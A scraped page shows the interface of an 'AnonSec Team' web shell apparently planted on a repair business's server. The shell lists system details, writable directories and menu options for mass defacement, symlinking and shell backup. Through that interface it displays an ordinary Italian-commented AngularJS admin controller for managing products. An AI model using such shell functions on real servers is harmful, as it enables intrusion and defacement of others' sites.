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/  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/js/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/js/controllers/prodotti.js
materialAdmin
    

    //=================================================
    // Controller Lista Utenti e Inserimento Utente
    //=================================================

.controller('prodottiCtrl', function($filter, $sce, $scope, ngTableParams, tableService, APIService, animationService) {
       
this.animationService = animationService;

$scope.elencoCampi=['Nome Prodotto','Costo', 'Device', 'Disponibile'];
$scope.elencoChiavi = ['nome','costo', 'modello', 'disponibile'];
//questa funzione fixa il problema delle chiavi con spazi o caratteri speciali nell'ordinamento delle tabelle
//utile per le alias colonne es. Numero Chiamante
    $scope.rawProperty = function(key) {
        return function(item) {
            if ((key == "EndTime" || key == "StartTime" || key == "AnswerTime" || key == "AlertingTime")) {
                return item[key]['sec'];
                }
            return item[key];
        };
    };
    this.prodottoInsert = {
        'idprodotto': '',
        'nome': '',
        'descrizione':'',
        'riparazione':'',
        'costo':'',
        'codice':'',
        'disponibile':'',

    };

    this.selezionedeviceinsert=null;

$scope.tmpSrc = {};

        //Caricament dati da API REST
        this.getData = function (){

            APIService.async({method: "getprodotto"}).then(function(adata) {

                if(adata.status && adata.message.length){

                    //assegno i dati ricevuti a data
                    var data = adata.message;

                    //aggiorno la variabile per ng-repeat della tabella
                    $scope.catctrl.data = data;
                    //instanzio la ng-table
                    $scope.catctrl.tableProdotti = new ngTableParams({
                        page: 1,            // show first page
                        count: 10
                    }, 
                    {
                        total: data.length,// $scope.data.length, // length of data
                        getData: function($defer, params) {
                        //controllo se esisteno paramentri che si chiamamo orderby, all'onclick ordino per quel campo
                        if (params.sorting()['orderBy'] != undefined) {
                            //aggiungo la substr perchè il primo carattere viene messo random, altrimenti ordinerebbe sempre DESC visto che se è ordinata per una qualsiasi colonna non fa più ordinare per la stessa
                            var orderedData = $filter('orderBy')(data, $scope.rawProperty(params.sorting()['orderBy'].substr(1)),
                                $scope.catctrl.isSortBy);
                            $scope.catctrl.isSortBy = !$scope.catctrl.isSortBy;
                            //ok ma non funziona con le key con spazi o punti
                            //var orderedData = $filter('orderBy')(data, params.sorting()['orderBy']);
                        } else {
                            var orderedData = data;
                        }
                        //verifico se sono definiti filtri
                        //orderedData = $filter('filterFailed')(orderedData, $scope.showOnlyFailed);
                        if (params.sorting()['filter'] != undefined) {
                            var chiave = params.sorting()['filter'].key;
                            var value = params.sorting()['filter'].value;
                                                    
                        //    $scope.tmpSrc[modello] = value;
                            $scope.tmpSrc[chiave] = value;
                            console.log(chiave + "|||||" +value);
                            orderedData = $filter('filter')(orderedData, $scope.tmpSrc);
                        }
                        params.total(orderedData.length); // set total for recalc pagination
                        $defer.resolve(orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count()));
                    }
                });
               
                }else{
                    
                    animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");

                }

            });
        };

        this.getData();

        //Insert , @Peodacontrollare
        this.newProdotto = 0;
        this.selezionedeviceupdate=null;

        this.submitProdotto = function() {            
            this.prodottoInsert.method = "insertprodotto";
            if($('#ts5').val()=="on"){
                this.prodottoInsert.disponibile = 1;
            }else{
                this.prodottoInsert.disponibile = 0;
            }
            if(this.prodottoInsert.stato==""){
                this.prodottoInsert.stato = 1;
            }

            if(this.selezionedeviceinsert!=null)this.prodottoInsert.iddevice=this.selezionedeviceinsert.originalObject.iddevice;

            

            console.log("insertprodotto_____",this.prodottoInsert);
            APIService.async(this.prodottoInsert).then(function(adata) {
                if(adata.status){
                    $scope.catctrl.newProdotto = 0;
                    $scope.catctrl.getData();
                    //svuoto i valori precedenti
                    for(x in $scope.catctrl.prodottoInsert){
                        $scope.catctrl.prodottoInsert[x] = "";
                    }
                    //nascondo il menu inserimento
                    
                    swal(adata.message, "success");
            
                }else{
                    $scope.catctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
            });
        }

        this.getDevices = function() {
                APIService.async({
                    "method": "getdevices"
                }).then(
                    function(adata) {
                        if (adata.status) {
                            $scope.catctrl.devices = adata.message;
                        } else {
                            $scope.catctrl.devices = [];
                        }
                    }
                );
            }

           $scope.devices= this.getDevices();

        this.modificaProdotto = function () {
            
            this.prodottoEdit.method = "updateprodotto";
            if($('#ts4').val()=="on"){
                this.prodottoEdit.disponibile = 1;
            }else{
                this.prodottoEdit.disponibile = 0;
            }
debugger;
            if(this.selezionedeviceupdate!=null){
                if(this.selezionedeviceupdate.originalObject){
                    this.prodottoEdit.iddevice=this.selezionedeviceupdate.originalObject.iddevice;    
                }else{
                    this.prodottoEdit.iddevice=this.selezionedeviceupdate.iddevice;    
                }
                
            }

            APIService.async(this.prodottoEdit).then(function(adati) { 
                if(adati.status){
                    $scope.catctrl.editProdotto = 0;

                    $scope.catctrl.getData();
                    //svuoto i valori precedenti
                    for(x in $scope.catctrl.prodottoEdit){
                        $scope.catctrl.prodottoEdit[x] = "";
                    }
                    //nascondo il menu inserimento
                    swal(adati.message, "success");
                }else{
                    $scope.catctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, adati.message);
                }
            });
        }

        this.cancellaProdotto = function (dati) {
            dati.$edit = false;
            dati.method = "deleteprodotto"; 
            APIService.async(dati).then(function(adati) { 
                if(adati.status){
                    swal(adati.message, "Prodotto eliminato con successo!", "success");
                    $scope.catctrl.getData();
                }else{
                    $scope.catctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
            });
        }

        //per insert
        this.aggiornaImgInsert= function(){
         //setto l'immagine in real time
                var fileInput = $('#foto-input');
                var file = fileInput[0].files[0];

                this.prodottoInsert.upload = file;

                var imageType = /image.*/;

                if (file.type.match(imageType)) {
                    var reader = new FileReader();

                    reader.addEventListener("load", function () {
                        $scope.catctrl.prodottoInsert.previewImage = this.result;
                        $('#mock').click();
                    }, false);

                    reader.readAsDataURL(file); 
                } else {
                    alert("File non supportato!");
                }
                    
                    
        }

        //per insert
        this.aggiornaImgUpdate= function(){
         //setto l'immagine in real time
                var fileInput = $('#foto-input');
                var file = fileInput[0].files[0];

                this.prodottoEdit.upload = file;
                this.prodottoEdit.newfoto = 1;

                var imageType = /image.*/;

                if (file.type.match(imageType)) {
                    var reader = new FileReader();

                    reader.addEventListener("load", function () {
                        $scope.catctrl.prodottoEdit.previewImage = this.result;
                        $('#mock').click();
                    }, false);

                    reader.readAsDataURL(file); 
                } else {
                    alert("File non supportato!");
                }
                    
                    
        }
        this.selezionedeviceupdate = null;

        this.prodottoEdit = {};

        $scope.editProdotto = function(w){debugger;
            $scope.catctrl.prodottoEdit.idprodotto = w.idprodotto;
            $scope.catctrl.prodottoEdit.nome = w.nome;
            $scope.catctrl.prodottoEdit.previewImage = w.foto; 
            $scope.catctrl.prodottoEdit.descrizione = w.descrizione;
            $scope.catctrl.prodottoEdit.riparazione = w.riparazione;
            $scope.catctrl.prodottoEdit.costo = w.costo;           
            $scope.catctrl.prodottoEdit.codice = w.codice;
            $scope.catctrl.prodottoEdit.disponibile = w.disponibile;

            //visualizzo il cliente nel box in fase di editaxzione
            for(dev in $scope.catctrl.devices){
                if($scope.catctrl.devices[dev]['iddevice'] == w.iddevice){
                     $scope.catctrl.selezionedeviceupdate = $scope.catctrl.devices[dev];
                     break;
                }
            }

            $scope.catctrl.editProdotto = 1;

        }

        this.prodottoShow = {};

        $scope.showProdotto = function(w){debugger;
            $scope.catctrl.prodottoShow.idprodotto = w.idprodotto;
            $scope.catctrl.prodottoShow.nome = w.nome;
            $scope.catctrl.prodottoShow.previewImage = w.foto; 
            $scope.catctrl.prodottoShow.descrizione = w.descrizione;
            $scope.catctrl.prodottoShow.riparazione = w.riparazione;
            $scope.catctrl.prodottoShow.costo = w.costo;           
            $scope.catctrl.prodottoShow.codice = w.codice;
            $scope.catctrl.prodottoShow.disponibile = w.disponibile;

            //visualizzo il cliente nel box in fase di editaxzione
            for(dev in $scope.catctrl.devices){
                if($scope.catctrl.devices[dev]['iddevice'] == w.iddevice){
                     $scope.catctrl.selezionedeviceupdate = $scope.catctrl.devices[dev];
                     break;
                }
            }

            $scope.catctrl.showProdotto = 1;

        }

        


    })

  

Anon7 - 2022
AnonSec Team